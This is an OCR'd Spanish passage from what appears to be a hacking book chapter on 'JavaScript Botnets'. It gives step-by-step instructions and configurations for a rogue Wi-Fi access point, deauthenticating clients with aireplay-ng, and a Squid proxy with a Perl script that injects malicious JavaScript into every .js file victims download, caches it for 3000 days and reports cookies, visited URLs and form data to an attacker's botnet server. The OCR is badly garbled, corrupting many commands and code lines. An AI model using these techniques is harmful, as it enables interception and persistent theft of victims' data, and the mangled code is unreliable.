Lin el caso de esta prueba de concepto. la contrasefia sc encontraba en ¢l dicCionario, por lo que se
extrae sin problemas, y sin tardar mucho tiempo, tal v como se comprueba en la captura anterior.
Pero evidentemente el éxita de este ataque. depende de la cantidad de palabras contenidas en el
diccionario con el que se prepara el ataque, por lo que, en caso de que la contrasefia sea robusta o
tenga cierlo grado de complejidad, ¢l ataque requeriria mucho tiempo o una elevada capacidad de
computo.
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Capitulo XI
JavaScript Botnets

1.Rogue AP: Puntos de acceso Wi-Fi falsos

La traduccién literal de Rogue AP es “Punto de acceso picaro”, vy aunque no cs una traduccién
desacertada, resulta confusa. En un dmbito mas descriptivo, sc define Rogue AP como un puto
de avceso Wireless con intencién de capturar v/o modificar el trafico generado por los clientes
conectados. Lo que comunmente se conoce coma Man in the middle (MITM).

Para que un ataque de este Lipo lenga éxito, hay que determinar una serie de factores, como por gjemplo
el tipo de cliente al que va dirigido el ataque o si el AP va a suplantar a uno licito ya existente. En cl
caso de ataques no dirigidos, orientados a victimas confiadas y con pocos conocimicntos técnicos.
serd suficiente con confligurar un AP sin ningin tipe de citrado ni autenticacion. Lin cambio, para
realizar una suplantacidn en una red concreta, es necesario conocer con todo detalle la configuracion
dc los puntos de acceso de la red a suplantar.

Por lo general la usabilidad es inversamente proporcional a la seguridad, v cs de esto de lo que se
valen los atacantes. Sc busca que cualquier usuario final, sin grandes conocimientos en la materia
en cuestion, pueda configurar y manejar de mancra rapida. cémoda y sencilla, cualquicr clemento
software o hardware. Hay muchos ejemplos de esto, se puede hablar de la tecnologia WPS (Wi-
Fi Protected Setup) que ofrece al usuario una conexion instanténea desde su dispositivo al punto
de acceso. con una simple pulsacion de botén (fisico) en el punto de acceso o 4 través de un pin
numerico de cuatro digilos, quedando configurada su conexion Wi-Fi sin necesidad de introducir la
clave de la red. Dicho de otra forma, se procede al traspaso de credenciales desde el punto de aceeso
al dispositivo cliente, con una pulsacin de botdn, o con un pin numérico. No importa si la clave
generada es mayor de los 21 caracteres, si estos son alfanuméricos, mavisculas y minusculas, y
caracleres especiales. Introduciendo un pin de cuatro digitos, el dispositivo queda asociado.

Pero la caracteristica mds importantc de la que aprovecharse en un ataque de suplantacion de punto
de acceso es el conocido Conecrar automdticamente. Cuando un clicnic se conecta por primera vez a
unarcd, o la configura manualmente, es habitual y comodo utilizar la funcién de conexién automalica,
asi la proxima vez que entre en ¢l alcance de la red, el dispositivo automaticamente s¢ conecrara.
El problema surge cuando, en una red con multiples puntos de acceso, el dispositivo se conecta al
punto de acceso que le ofrece mayor potencia (generalmente ¢l més cercano), y es en lo que se basa
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una huena suplantacion del punto de acceso. Es deeir, si ¢l punta de aceeso suplantado ofrece mayor
potencia que el punto de acceso original, los clientes con la funcién Conectar automaticamente
habilitada se conectaran al punto de acceso suplantado sin ni siquiera hacer c¢/ic. No solo eso sino
que ademas con las herramientas estandar de conexion Wi-Fi, no aparecerd una red por cada AP,
sino que solo aparecera una, y sera el propio sistema operativo quien decida a que AP conectarse,
basandose cn la potencia de sefial recibida de cada punto de acceso, incluyendo al AP suplantado.

Fxisten diferentes dispositivos con los que realizar un Rogue AP, pudiendo utilizar un Punto de
Acceso como tal, un router “de casa” o incluso una tarjeta Wi-Fi, externa o integrada. Hay que
recordar que un punto de acceso inalambrico propiamente dicho tiene la nica funcién de convertir
la sefial cablcada on ondas, y gencralmente incorporan un servidor DHCP para ofrecer direcciones [P
a los clientes. Lis decir, no hace la funcidn de un rewter ni de un switch. El ronter “de casa”, utilizado
por todos para conectarse a Internet es a su vez punto de acceso inalambrico. enrutador entre redes,
y madem WAN para la salida a Internet. Al igual gue un punto de aceeso inaldambrico, dispone de
servidor DHCP para asignar [Ps automaticamente a los clientes conectados. En el caso de una tarjeta
Wi-Fi clienle estandar se necesita de alguna utilidad para utilizarla come punto de acceso, y software
especifico en la maquina para crear un servidor DHCP.

Lil ataque consiste en que las victimas se conecten a un punto de acceso que consideran de confianza
(ya sea conectandose automatica o manualmente), y una vez conectadas ver el trifico que generan.
Para ello s necesario disponer de una maguina controlada por el atacante, donde llegardn las
peticiones de las victimas. Para conseguir esto es necesario configurar un servidor DHCP (como ya
s¢ ha mencionado, los puntos de aceeso y los roufer lo tienen integrado) para establecer que la puerta
de enlace de la conexidén sea el equipo preparado por ¢l atacante. Para completar ¢l ataque y hacerlo
transparente, la maquina atacante ha de enrutar el trafico entre la victima e Internet.

Aungue es cierto que no se pueden considerar vulnerabilidades, iOS presenta una serie de debilidades

que le hacen propicio a ser viclima en la suplantacion de puntos de acceso Wi-Fi.
- Conexién a redes conocidas: En ajustes del sistema se presenta un selector de titulo
“Preguntar al conectar”, que la mayoria de usuarios interpreta como una opcidn para
conectarse automaticamente a redes conocidas, o no hacerlo, Esto no es cierlo, como se puede
comprobar al leer la letra pequeiia de esta opcidn. En cualquiera de los casos, el dispositivo
se conectara a €l automaticamente si encuentra una red conocida, mientras que aparecera un
mensaje con las redes disponibles para su conexion si se activa el selector, o se debera ir al
panel de configuracién Wi-I'i y conectarse manualmente en caso de desuctivar esta opeidn.

Imagen 11.01: Redes conceidas.
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- Lista de redes conocidas: Los dispositivos i0S gnardan aquellas redes a las que los
usuarios tiene consideradas coma de confianza, es decir, aquellas a las que s¢ marca “concctar
aulomiticamente”. bl problema surge cuando se quiere climinar un perfil Wi-Fi, va que
0S8 no muestra en ningun caso las redes conocidas, y solo sera posible eliminarlas cuando
el dispositivo sc cncuentre en el alcance de la red. En caso de disponer de un dispositivo
desbloqueado, se pueden gestionar los perfiles Wi-Fi almacenados accediendo al fichero base
de datos llamado keychain-2.db.

- Politica de eleceion de red: En el caso de encontrar multiples redes conocidas al alcance
del dispositive, este establecera el orden basandose en la (iltima red u la que se haya conectado.
Unilizard un sistema LIFO basandose en la Gltima (ccha de conexion.

- Reconocimiento de redes: F1 mayor problema en cuanto a redes conocidas reside en que
los dispositivos iOS reconocen las redes a las que ha cstado conectado Ginicamente por su
SSID (el nombre de la red) y su seguridad, es decir, cifrado y password. Es de esto de lo que
sc beneliciard un atacante pata suplantar las redes conocidas.

- Informacién minimalista: En la informacién que s¢ muestra a los nsnarios sobre una red
Wi-Fi en i08, no se diferencia entre si es una red de infraestructura o ad-hoc, lo que permite
engafiar mas [Acilmente a los usuarios.

Pero que desde el propio dispositivo no se puedan ver las redes Wi-Fi conocidas que no se encuentren
al alcance, no significa que un atacante no pucda hacerlo. De hecho es suficiente con capturar
paquetes “en el aire™ para descubrir a que redes intenta conectarse. Se puede hacer uso de la suire
aircrack-ng, coneretamente airodump-ng para monitorizar todas las redes disponibles, los clientes,
y el nombre de aquellas que el dispositivo esld buscando para conectarse automaticamente. Es tan
sencillo como ejecutar la aplicacion y fijarse en el campo Probe, donde irdn apareciendo los SSID
separados por comas.

BSSID STATION PWR  Rate Lost Frames Probe
SC:D9:98:BF:86:94 B8:30:8A:5D:54:48 -1 le- 6 L] 1
BC:8C:A3:20:8F:91 88:22:F7:27:8B:CF 8 B -1 ] 2

(not assoclated} ©8:1A:FF:B8:D3:46 8 g-1 8 1 HIDALGO
(not associated) ©6:8E:8E:12:9F:AB -] 8-2 a 1

{not associated} 88:1D:E8:CC:59:43 8 e-1 8 3

(not associated) 54:26:96:C5:7B:7E 8 8-1 -] 2

{not associated) 94:63:D1:08:4E:38 2] -1 8 2 WLAR &7
[not associated) 8€:21:50:1F:3A:78 8 8-1 8 7

[nol associated) 8€:25:FD:11:68:87 ] 8 -2 8 3 UPDWNLD BSS

Imagen 11.02: Probes de una captura de airodump-ng.

2.Preparando el entorno Linux

Como se ha dicho anteriormente, el equipo atacante ha de realizar la funcion de router utilizando dos
interfaces de red, una para comunicarse con el AP suplanlado, y la otra con salida a Internet. Estas
dos interfaces pueden ser cableadas, Wireless, o incluso una combinacién de ambas.
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Para este ejemplo, se utilizard una interfaz cableada. de nombre ez coneclada al punto de acceso
utilizado para la suplantacion, y una interfaz Wireless de nombre wlan( conectada a una red Wi-Fi
de confianza con salida a Internct. Para que el equipo atacante haga la funcién de roufer, se tiene
que cumplir que las interfaces tienen que estar conliguradas como subredes independientes, v que
¢l enrutamiento tenga sentido. Existen varios métodos para habilitar esta funcidn, unos temporales
(hasta que el equipo se reinicic) y otros permanentes. El modo temporal se habilita modificando el
fichero ip forward que se encuentra en el directorio /proc/sys/net/ipv4, estableciendo el contenido
de dicho fichero al valor 1. La modificacién es posible realizarla con cualguier editor de texto, o
mediante ¢l comando echo con la salida redirigida al fichero citado: echo I > /proc/sysinet/ipv4/
ip_forward

Tmagen 11.03: Comando eche redirigido al fichero ip_forward.

Otra manera de habilitar la funcion de routing temporal es mediante ¢l comando sysetl, con la
siguicnte instruceion: sysetl -w nel.ipvd.ip forward=1

rootiubuntu: /homa/i644 sy;ctl_ -w net.ipwd.ip forward=1

net.ipvd.ip Torward = 1

Imugen [ 1.04: Spsed! de configuracién para ip_forward.

En el caso de necesitar que la modificacién sea permanente, se modifica el fichero Jete/syserl conf
v se estableee ¢l valor 1 a la direcliva netipvd.ip forward, o se afiade la linea si no existe. Una vez
modificade ¥ guardado, se recarga este fichero mediante cl comando sysedl -p Jete/sysctl.conf.

ret.ipvd.ip forward=1
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Imagen 11.05: Fichero

Fs necesario enmascarar odo el lrdfico de la interfaz cableada para enviarla por la interfaz
inalambrica, dado que pertenece a otra subred. En caso contrario, el roufer que se encuentre tras
la red Wi-Fi descartard los paquetes, dado que no reconoce la direccion TP de origen. Mediante ¢l
comanda iptables sc realiza ¢l MASQUERADE a la nat de la intertaz wlan() del equipo.

root@uburilu: fhome/164F iplables -t nat -] MASQUERADE

Imagen 11.06: Comando ipfalles para enmasearar el trafica.




Cupiiulo X1. JavaScript Batnets E

3. Configurando el punto de acceso

Como ya se ha mencionado, lo importante en una suplantacion de este tipo es conocer toda la
informacion pesible de la red que se va a suplantar, para configurar el AP con los datos obtenidos.
Aunque cxisten multiples maneras de configurar un AP (telnet, pucrto de serie en dispositivos
antiguos, etcétera), la manera mas rapida y sencilla cs a través del cliente web. Hay que destacar que
no todos los firmwares dc los puntos de acceso v routers permiten una configuracion vélida para cl
alague gue se quiere realizar, por motivos que se veran mas adelante.

Cuanta mayor informacion se tiene, mas victimas potenciales hay. Fn el caso de querer aprovecharse
de la inocencia de la victima, y crear una red abierta sin cifrado ni autenticacion, la configuracion
que sc cstableee cn ¢l punto de acceso pierde importancia. Unicamente hay que tener en cuenta que
la puerta de enlace que proporciona el DHCP sea la méquina atacante por la que pasard el trafico,
independientemente del nombre de la red que se configure en el AP v el rango de direcciones a
ulilizar.

Al contrario que ocurre con la configuracion anterior, es esencial tanto ¢l nombre de la red, como
su autenticacion y cifrado. El rango de dirceciones a ulilizar puede no ser demasiado importante,
pero para usuatios con canocimientos medios que entiendan de protocolo TCP/IP, les resultara
sospechoso si el rango de direcciones IP proporcionadas por el punto de acceso suplantado difiere
de la ofrecida por el punto de acceso licito. Es por cllo que cuanto mas se asemeje el AP ilicito al
punto de acceso real, menos sospechas levantara. Evidentemente, si se quicre suplantar un punto
de acceso con clave de acceso, es necesario conocer esta. Fn el caso de claves WEP, WPA-PSK v
WPAZ2-PSK (clave compartida) la suplantacién serd tan compleja como diticil sea obtener esta clave
(en ¢l caso WEP, es practicamente nula). Para redes con WPA v WPA2 (en ocasiones calificada como
Fnrerprise), es necesario crear un servidor Radius encargado de validar los usuarios conectados.
Listo es posible mediante el freeware freeRadius, que se puede configurar (con un script PHP por
gjemnplu), para guardar los valores de usuario v contrasefa introducidos por la victima. En tal caso
siempre serdn considerados validos y aprovechando ¢l ataque. sera posible conseguir algin usuario
real para la validacion Raefius de la red que se estd suplantando.

Shared Key

Cpen SystemiSharcd Key
WPA-EAP

WPA-PSK

WPAZ-EAP
WPA2-PSK

WPA Auto EAP
WPA-AuloPSK

Imagen 11.07: Tipos de cifrado disponibles en un AP,

Tomando como primer cjemplo el caso més sencillo, el de una red abierta sin citrado, la configuracion
consiste en establecer el nombre de la red (ESSID), habilitar el DHCP con un rungo de direcciones
IP cualquiera (vale el mas comun, 192.168.0.0/24) y lo méis importante. estableciendo la puerta de
enlace a la direccion [P de 12 maquina atacante.
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Es deeir, algunos dispositivos no permiten establecer la puerta de enlace del servidor DHCT., por
lo que el equipo victima no enviarfa ¢l trafico al cquipo atacante, y la suplantacion dejaria de tener
sentido. Aunque el £8S/0 puede ser cualquier nomhbre. hay que tener en cucnta que cuanto menos
sospecha levante, més clientes se conectaran, por lo que es mas efectivo poner un nombre como
Casa en vez de Conexion Gratis.

Prueba de concepto

Para la prueba de concepto, se utilizard un dispositive Al’ fisico, concretamente ¢l modelo DWL-
22004P del fabricante D-Link, y un equipo con un sistema operativo Linux, en este ejemplo la
distribucidn Uhunfi. Antes de nada, se establcee una IP estdtica en la interfaz erh() de la maquina
conectada al punto de acceso que se va a configurar, en este caso 192.168.0.5. La otra interfaz de red
de la miquina, wlan0 sc conecla a una red con salida a Internet. Hay que recordar que ambas redes
deben tener rangos IP diferentes, para que la funcidn routing tenga sentido.

Tntroducicndo en el navegador la direccion IP del dispositivo AP, se conecta al panel de
administracion, donde una vez introducido el usuario y la contrasefia se accede a la configuracion.
A pesar de encontrar infinidad de categorias y opciones. lo tmico interesante para la suplantacion es
la configuracion Wireless, y el servidor DHCP. Para una primera prueba, se va a configurar una red
abierta. En la seceion Wi-Fi, sc clige ¢l nombre de la red (ESSID) que se quiere emitir, por ejemplo
MiCasa. La seguridad se establece como OPN. vy se clige un canal cualquiera.

Wireless Dand {IEEEB0217g V|
Mo
Wheless Natwork Mame(SSID) | MiCasa
B51 Bromicast Enable v
Channel [ v]EmEeEE T Auto Channal Scan
Authentication [Coen System v
Ky Setlings 3 ]
| Fneryplion @ Disable (O Enable

Imagen 11.08: Configuracion para una rad zhierma.

Para la seccién de servidor DHCP, se habilita la funcidn y se configura la IP a partir de la cual el
servidor ofrecera dirceciones, por cjemplo 192.168.0.100, con un méximo de 100. La méascara de red
la mas comiin, 255.255.255.0, v lo mas importante, ¢l Gateway introduciendo la direccion IP de la
interfuz de red conectada al AP, 192.168.0.5. Posiblemente, el AP necesite reiniciarse, micniras lanto
se habilita la fimeidn de router de la magquina con alguno de los métodos ya citados.

192.168.0.100 |

IP Assigned From

The Range of Pool {1-255) 100
SubMask 255 255 255.0
Galeway [192.158 05 |

Imagen 11.09: Confipuracion DICP con rangoe por defecto.
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Cuando el AP vuclva a cstar operativo, con ¢l dispositivo /05 se buscan las redes Wi-Fi disponibles,
entre las que deberia aparecer MiCasa v se realiza la conexion a ella. Si la configuracién ha sido
cotrecta, abriendo el navegador s¢ deberia poder navegar sin ninguna dificultad. Para comprobar
que el trafico esta pasando por la maquina recién configurada, nada mejor que utilizar la herramienta
Wireshark y capturar los paquetes de la interfaz del AP, ef#f). Olra opeion més visual es la utilidad
drifnet, cuya interfaz grafica es unu simple ventana donde irdn apareciendo las imagenes capturadas
del trafico de red generado por los dispositivos conectados al AP.

Imagen 11.10: Terramienta drifier capturande imagenes.

Como segunda prueba de conceplo, sc va a configurar una red mas compleja, con seguridad WPA2-
PSK y un rangao 1P no estandar. Como ya se ha mencionado, para una suplantacion de este tipo es
necesario conocer previamente la clave de la red gue se va a suplantar. Fn el caso de no disponer
de esta clave, se podria intentar utilizando el mismo ESSID de la red original y dejando la red sin
scguridad, buscando esos clientes incautos.

Lo primero a configurar en el AP es la direccion IP del propio dispositivo, ya que la red a
configurar utiliza un rango diferente ul cstablecido por defecto. Suponiendo que esa red trabaja en
el rango 192.168.64.0/26, se establece la IP del AP en 192.168.64.1 vy la mascara de subred como
255.255.255.192. Mientras el dispositivo se reinicie, en el equipo atacante lambién se modifica la
1P de la interfaz eth) a 192.168.64.5 para pertenecer a la misma subred que la recién asignada al
dispositivo AT. Se vuelve a la configuracion del AP, seccion Wi-Fi y se configura el ESSID con
el mismo nombre que el AP original, en este caso 4P4SL. El mismo nombre significa respetar los
caracteres exactamente iguuales, con mayusculas, minisculas etcétera. Ll tipo de seguridad, como se
ha definido para el ejemplo es WPA2-PSK, y la clave que ha sido obtenida del punto de acceso licito.



Hacking de dispositives i0S: iPhone & iPad

bd
(&

‘lambién hay que tener en cuenta el canal en el que estd emitiendo el punto de aceeso, ya que al ser
un AP suplantado, el alcance de las ondas puede quedar minado por interferencia con el punto de
acceso licito. Es por ello una buena préetica urilizar un canal con un salto de dos posiciones respecto
al original.

VWireless Band |EEES02 11g v

Mode

Wireless Network Name(SSiD) [4P4SL

SSID Broadcast

Channel [7 ™) [ Auto Channel Scan
Authzntication [wPA2-PSK V|

| PassPhrase Settings = ———

Cipher Type [1400

PassPliase |u- PEOBERABORARIED

Group Key Update Interval

Tmagen L1 11: Configuracion Wi-#7 de una suplantacidn de AP eon WPA2-P'SK,

LEn cuanto al DHCP, como se ha mencionado anteriormente, se configura con ¢l nuevo rango,
siendo la IP inicial 192.168.64.10 y ¢l maximo de dircceiones 1P a asignar 52 (hay que recordar
que con csla subred, la Gltima IP disponible es 192.168.64.62). Al igual que antes, el Gateway es
la direccion de la direccion establecida en ef0 de la méaquina, 192.168.64.5. Una vez aplicados los
cambios y reiniciado el AP, se realiza la misma prueba con el dispositivo iPhore para comprobar
que, efectivamente, el trafico “pasa” por la mdquina atacante.

.l.il’lcﬂui'l Enablehie

-]
52

IF Assigned From
Tha Range of Podl (1-255)

SubMask
Gataway 192,162,645 o
Imagen 11.12: DHCP para un rango 1P personalizado.

Como alternativa a un dispositivo AP fisico, se dispone de herramientas capaces de crear una red Wi-
Fimediante una tarjeta i#irefess cliente estandar (aunque no todos los modelos son compaltibles). T.a
herramienta mas conocida para este proposilo ¢s airbase-ng, incluida en la suire de auditoria Wireless
Afrcrack-ng. Hay que tener en cuenta que esta utilidad es capaz de “convertir” la tarjeta Wireless
en punto de acceso, pero ademas de esto hace falta un servidor DHCP que asigne dirceciones 1P
validas a las victimas, utilizando para cllo ¢l famoso servieio dicp-server. Tay que tener en cuenta
que dado que la tarjeta inalambrica se utiliza para crear el punto de acceso, seré la interfaz cableada
la que proporcione salida a Internet. Es necesario adaptar el redireccionamiento de iptables para la
nueva configuracion.

- En ¢l fichero fetc/dhep/dhcpd.conf se establece la configuracion que utilizara el servidor
dhep para distribuir las direcciones IP.
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ddns-upcate-style none;
option comain-name-servers 152.168.69.5;
Hefonlt-lease-time 60;

max - lease | ime 72;

uthoritative;

log-facility local7;

subnet 192.168.65.0 netmask 255.255.255.0 {
ranqe: 197.165.69.33 192.168.69.253;

option roolers 192.168.69.5;

joption domain-name-servers 192.168.69.5;
Jauthoritative;

ddns - update-style none;

fdafaull lease time 60O;

max-lease-time 7208;

subnet 1.1.1.0 netmask 255.255.255.8{

range 1.1.1.160 1.1.1.160;

ioption routers 1.1.1.1;

ioption domain-neme-servers 1.1.1.1;

H
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Imagen | 1.13: Fichero de configuracién del servidor DHCP.
o

- Se configura la tarjeta inaldmbrica en modo monitor: airmon-ng start wlan0.

rovt@ubuntu: /home/i54# aimon-ng start wlznd

Imagen 11.14: Se establece 1a tarjeta inalimbrica en modo moenitor.

- Con- airbase-ng, sc determina la configuracion del punto de acceso, y comicnza a cmitir:
airbase-ng -1 100 -I -C 2 ¢ 6 --essid Wifli Gratis mon0).

Imagen 11.15: Comundo airbase-ng para la creacidn del AP,

- Se le asigna una direccién IP a la interfaz inaldmbrica cn modo monitor: ifeanfig mon()
192.168.0.5.

root@ubuntu: /home/164% ifconfig mond

Imagen 11.16: Se establece la direccidn IP estitica.

- Ulilizando la configuracién previamente creada, se lanza el servicio dhep para la interfaz
que hace de punto de acceso: dhepd -¢f Zete/dhep/dhepd.confmont)
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Imagen 11.17: Iniciando el servicio DHCP.

Para ambas pruebas. si s¢ guicre gue el atague sea mas efectivo, es posible realizat una denegacion
de servicio a todos los clientes asociados a un punto de acceso. Bien sea a los puntos licitos,(para
forzar la conexién al suplantado), o a cualquier punto de acceso al que se lenga alcance (para que
sean los propios usuarios los que busquen una red a la que conectarse, al comprabar que su red actual
no permile concetarse). Este ataque se puede hacer de manera temporal ¢ indefinida, mediante la
herramienta aireplay-ng incluida también en la suite aircrack-ng.

Dicha herramienta permite varios tipos de ataque, como autenticacion falsa o reinyeccion de paquetes
ARP, pero la que realmente interesa en este ambito es la “deautenticacion” de clientes legitimos. La
sintaxis de afreplay-ng para un ataque de este tipo es la siguicnic:

Aireplay-ng -0 <mimero de paquetes a enviar> -a <Mac del punto de acceso™ -¢ <mac del cliente
a expulsar> <interfoz Wireless>

En el caso de no introducir la opcion ¢, seran todos los clientes conectados los afectados por ¢l
ataque.

Imagen L1.18: direplay-ng pars “desutenticucion” de clientes.

4. Ataque de infeccion de ficheros JavaScript

Una vez que se ha comprobado que todo el trafico de las victimas viaja a través del equipo atacanlc,
se implementa un ataque de infeccion de caché de navegador, ulilizando los propios ficheros que las
victimas solicitan en la navegacion weh para infectarlas

El proceso de infsccién consiste en afiadir cédigo malicioso (llamado pasarela) a los ficheros
JavaScript que se devuelven en cada peticidn http de las victimas. Esle chdigo malicioso es el
encargado de llamar al fichero payload de un equipo atacante con direccién publica en Internet,
donde reside una Bainet JavaScript, para gestionar y almacenar toda la informacion enviada por
cada victima. Para ampliar ¢l alcance y la persistencia de la infcecion, a estos ficheros JavaSeript
originales infectados se les modifica la fecha de expiracién para que caduquen a los 3000 dias (a
efectos practicos, imperecederos).
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Esta Botnet, creada para la ocasién, dispone de sus propios pavloads para extraer informacion y
gjecutar c6digo JavaScript sin el consentimiento de las victimas. Coma se vard mas adelante, cxisten
herramientas pblicas muy avanzadas basadas en JavaSeript y con multitud de payioads, por lo que
es posible utilizar estas sin necesidad de crear una personalizada.

Para conseguir afiadir contenido a los ficheros JavaScript e infectarlos. es necesario conlar con un
provy, euya funcion es reeseribir los ficheros fs dirigidos a la victima. Como todo el tréfico pasa por
la maquina atacante (MI'TM), ella misma puede albergar el software proxy v modificar estos ficheros.
La idea es crear un proxy entre la interfaz de red que recibe el trifico de la victima, y la interfaz que
da acceso a Inlernel. Ademds, es necesario que este proxy sea transparente, redirigiendo el tréfico
http entrante por el puerto 80, al puerto donde reside el proxy y viceversa. Una vez infectado el
fichero, se guarda en una ruta local donde Apache esté configurado con ¢l modulo mod_expires para
cambiar su tiempa de expiracion, v finalmente envidrselo a la victima.

Los ficheros infectados se guardardn en caché del dispositivo duranic tiempo indefinido, por lo que
¢l alague cs persistente, incluso fuera de la red suplantada. Cada vez que la victima acceda a una
web donde se utilice un fichcro JavaScript descargado con anterioridad en la red suplantada, , no
realizard una peticion al fichero origen, sino que lo leerd de su propia caché.
Prueba de concepto

Para rcalizar la prueba de concepto, se dispondrd de dos méquinas atacantes, una con IP pablica
accesible a través de Internet que albergard la Botnet, v otra encargada de infectar victimas mediante
la suplantacion de AP.

En la maquina pablica es necesario configurar un servidor dpache para albergar la Bomet JavaScripl
cuyas dependencias son: MySgl para almacenar toda la informacion de las victimas, v PHP como
motor de la propia Borner. Para facilitar la instalacion de estos tres elementos se puede recurrir a
soluciones como LAMP (Linux Apache MySql PHP), un paquete para instalar y conligurar todos
los requisitos del server de una vez. Se crea un directorio viral en Apache, de nombre poison, que
contiene el portal de administracion de la Bomet v los payioads disponibles, a los que se llamara
desde ¢l codigo JuvaScripd malicioso. La maquina ya estd prepara para servir los payloads a las
victimas y controlarlas con el panel de control.

En el equipo encargado de la infeccién, el software a ulilizur ¢s SQUID, un proxy de software libre, y
¢l servidor Apacke. La instalacion de estos es trivial, siendoto mas comodo realizarla a través de un
gestor de paquetes como apit-gel, aptitude o pacrian. La imica funcién de Apache en esta méquina
es la funcionalidad que ofrece el mddulo de modificacion de expiracion de caché.

Para habilitarlo, basta con mover el fichero mod _expires del directorio Jetc/apache2/modules
avaibable al directorio /ete/apache2/modules_enabled. Si se quiere hacer mediante consola.
el comando a ejecutar es el siguiente:” aZenmad mod expires™ con privilegios suficientes. La
configuracion del moédulo se realiza a través del fichero Ataccess del directorio donde residan los
ficheros a los que se quicra modilicar la expiracion. Se crea un directorio temporal para almacenar
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los ficheros infectados, en la ruta Avar/www/imp v se genera el fichero (fluccess con un editor de
texto, al que se le inlroduce la configuracion del modulo de expiracion.

ExpirasActive On
piresDefault "access plus 3806 days"
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Imagen 11.19: Fichero .Ataceess con la configuracicn para mad_expiris.

La configuracion de un proxy es larga v tediosa como asi lo demuestra el fichero squid.conf, por
suerte la funcionalidad que se necesita que cumpla es conereta y sencilla. To primero es establecer el
puerto en el que SQUID va a escuchar. Por defecto es el 3128 y no hay necesidad de cambiarlo, pero
si de afladirle el atributo transpareni para que el proxy pueda funcionar en modo transparenle, Lo
siguiente a configurar cs la permisividad del proxy. que habitualmente es configurada para bloquear
y controlar, y en este caso interesa permitir todo. Para ello se establece la directiva Arp_access en
allow all.

Ladirectiva més importante a configurar en el proxy esurl_rewrite_program. Estaindica la aplicacion
0 seripé eneargado de procesar las peticiones, y retornar una URL en base a cada peticidén. Lin este
caso concreto, va a ser esta directiva la encargada de infectar los ficheros JavaScript, utilizando para
ello un scripr en Perl,

# Sgquid normally listens to port 3128
fitip part 3128 1 ransparent

ttp_access deny all

E:hnd finally deny all other access to this proxy
tp zccess allow all

4 By default, a URL rewriter is not used.
whefault:
url_rewrite program /etc/squid3/poisan.pl

B Get Help WriteDut Read File Prev Pago Cul Texl Cur Pos
i Fxil Justify Whare Is Hext Page UnCut Text To Spell

Imagen 11.20: Configuracion de SQUIT.

Este seripf revisa cada petician, y para aquellas que cumplen con la expresion regular de un fichero
con extension jis. se realiza la descarga del fichero de la peticion, se almacena en el propio equipo
(utilizando como nombre de fichero el identificador de proceso actual, v un conlador). concretamente
en la carpeta temporal habilitada para la modificacion de expiracion de caché, al que se le concatena
el codigo JavaScript malicioso, contenido en el fichero con nombre pasarele.js. |
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| /usrybingperl

o =1;
[Bcourl = @;
id = $5;

hile («=)
{

chomp &
{:i.f (5 =— sl.mjs)ii)

Surl = $1;

systam("/usr/binfwget®, V-g", "-0", " fvEr/wWea/tmp/Spid-Scount.is", "Surl");
system{"chmod o+r /var/wes,/top/$pid-Scount.js");

system("cet /etcesquid3/pasarela.js > /var/www/tmp,/pid-Scount.js"');
print *hitp://127.8.0.1:68/ top/$pid- Scound . js\n";

vlse

print *3_\n";

Y

SCOUTT+=;

Inagen 11.21: Seript Per! pace la directiva wel_rewrite_program.

Liste codigo serd el que se ejecute en la maquina victima, para asi realizar las acciones programadas.
En ¢l caso de la Boret desarrollada, se llamard al fichero payload PHP alojado cn ¢l servidor
pithlico, para reportar su identidad mediante jsonip. PHP encargado de reportar el identificador de la
victima. Otro caso puede ser la comunicacién con BeEF (como se vera mas adelante), o la ejecucion
de un payioad directamente.

Dado que es una prucha de concepto. para mostrar efectiva l1a infeecion en el cliente, en vez de
utilizar el fichero pasarela.js de conexidn a la Bormet, se utilizara el fichero alert.fs cuyo contenido es
una funcién para mostrar un mensaje de alerta a la victima. Hecho esto se retorna la ruta del fichero
infectado recién creado al clienle, de una manera totalmente transparente y funcional.

El dltimo paso consiste en redirigir el trafico http de la interfaz de red conectada al AP, al puerto en ¢l
gue escucha el proxy, en este caso el puerto por defecto, 3128. En Limex cs lan [Acil como establecer
una corrceta politica Nar mediante el comando iprables. ademas de enmascarar lag peticiones de la
interfaz conectada al AP, redirigidas a la intertaz con salida a Internet como se ha hecho antes.

fptebles -
iptables -F -t nat

iptables -t nat -A POSTROUTING -o wlan® -j MASQUERADE

liptebles -L nal -A PREADUTING i cth® p tcp dport 80 -j REDIRECT to port 3128

liptz=blas -A INPUT -j ACCEFT -m state --state MEW,ESTABLISHED,RELATED -i ethe -p tcp --dport 2128
iptables A OUTPUT -j ACCEPT -m state - -state NFW,FSTARBLTSHED,RFIATFD -n wlar® -p Trp --fport BB
iptzbles -A INPUT -j ACCEPT -m state --state ESTABLISHED RELATED -i wlan® -p tcp --sport 88
iptables A OUTPUT -j ACCFPT -m state --state ESTABLTSHFD,RFIATED -0 atho -p tcp --sport 88

wWritegut & RMead File Frav Page Cut Text Cur Pos
Justity g Where Is Next Page UnCut Text Te Spell

Imagen 11.22: Seripr de redireccion y enmascaraniento.
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Para comprobar su funcionamieinto, se conecta el dispositivo if’rone a la red Wi-Fi suplantada, y se
aceede g cualguier web desde el navegador. Aungue en el dispositivo la navegacion es completamente
normal, todos los ficheros js que el navegador solicila s¢ e retornan infectados, ademas de quedar
almacenados en su propia caché con una expiracién de 3000 dias. El punto mas fuerfe en esle
tipo de alaque reside en que una vez [uera de la red suplantada, cualquier peticién que este mismo
dispositivo haga a una web en las que se solicite ¢l mismo fichero JavaSeript. volvera a ejecutar el
Payload y reportar datos nuevamente al servidor donde reside la Bainer.

http://www.apple.com

Has sido infectadn!

OK

Imagen 11.23: Fichero js infectado con alert en iPhone.

Lin esta prueba de concepto la Bornei recoge datos de las vietimas como direcciones web visitadas,
cookies y valores introducidos en formularios, aunque el potencial que ofrece es enorme. Hay que
tener en cuenta que a pesar de que las viclimas ya no estén en el AP suplantado, y el ataque MITM
1o sea operativo, se puede afirmar que sigue persistiendo el ataque llamado Man in the tah, donde
¢l dnico ambito del atague es la propia pestaiia del navegador donde se estd ejecutando el codigo
JavaSeript malicioso. 5

Hasta ahora todos los ataques y la recolecta de informacion ha sido indiscriminada, sin ningtin tipo
de criteric. Pero también existe la opeion de realizar un ataque dirigido, seleccionando qué ficheros
JavaScript de qué weh infectar, y sin la nceesidad de que la victima visite dicho sitio web. Esto
es util para infectar ficheros de webs que la victima no visitaria en lugares donde no confie, como
bancos, pero si lo hard en un entorno de confianza con una red que pueda administrar.

El primer paso es elegir ¢l JavaScript a infectar. Para ello se elige la web, v se busca en su codigo
fuente la etiqueta HI'ML de carga de un fichero js estitico. Este sera ¢l fichero que la victima se
